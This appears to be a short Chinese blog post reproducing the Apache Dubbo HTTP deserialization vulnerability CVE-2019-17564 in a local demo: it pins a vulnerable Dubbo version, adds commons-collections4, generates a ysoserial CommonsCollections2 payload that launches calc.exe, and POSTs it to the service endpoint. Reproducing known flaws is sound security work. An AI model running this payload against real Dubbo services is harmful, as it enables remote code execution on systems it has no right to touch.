Dubbo反序列化漏洞(CVE-2019-17564) 重现

1. 下载官方 demo 代码
(暴出的漏洞是 http 协议的,故使用 http 的 demo 来重现)
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http

dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3
在项目 pom 中添加 commons-collections4 依赖(测试漏洞用)

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

运行 demo 代码,会注册一个 /dubbo/org.apache.dubbo.samples.http.api.DemoService/providers 的服务

http://xx.x.x.x:8080/org.apache.dubbo.samples.http.api.DemoService?anyhost=true&application=http-provider&bean.name=org.apache.dubbo.samples.http.api.DemoService&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=org.apache.dubbo.samples.http.api.DemoService&methods=sayHello&pid=1428&register=true&release=2.7.3&server=tomcat&side=provider&timestamp=1582854833741

2. 下载反序列化工具  ysoserial 
https://repository.mulesoft.org/nexus/content/repositories/public/com/github/frohoff/ysoserial/0.0.5/ysoserial-0.0.5.jar

生成漏洞代码保存到 payload.ser 中:(可以调用 windows 的计算器程序)

java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser

3. 使用 postman 调用 dubbo 暴露的 http 接口
post  http://localhost:8080/org.apache.dubbo.samples.http.api.DemoService
发送的数据包选择上一步生成的进制文件 payload.ser

参考:
http://www.lmxspace.com/2020/02/16/Apache-Dubbo%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2019-17564%EF%BC%89/
https://www.mail-archive.com/[email protected]/msg06225.html


猜你喜欢

转载自www.cnblogs.com/kevin-yuan/p/12376266.html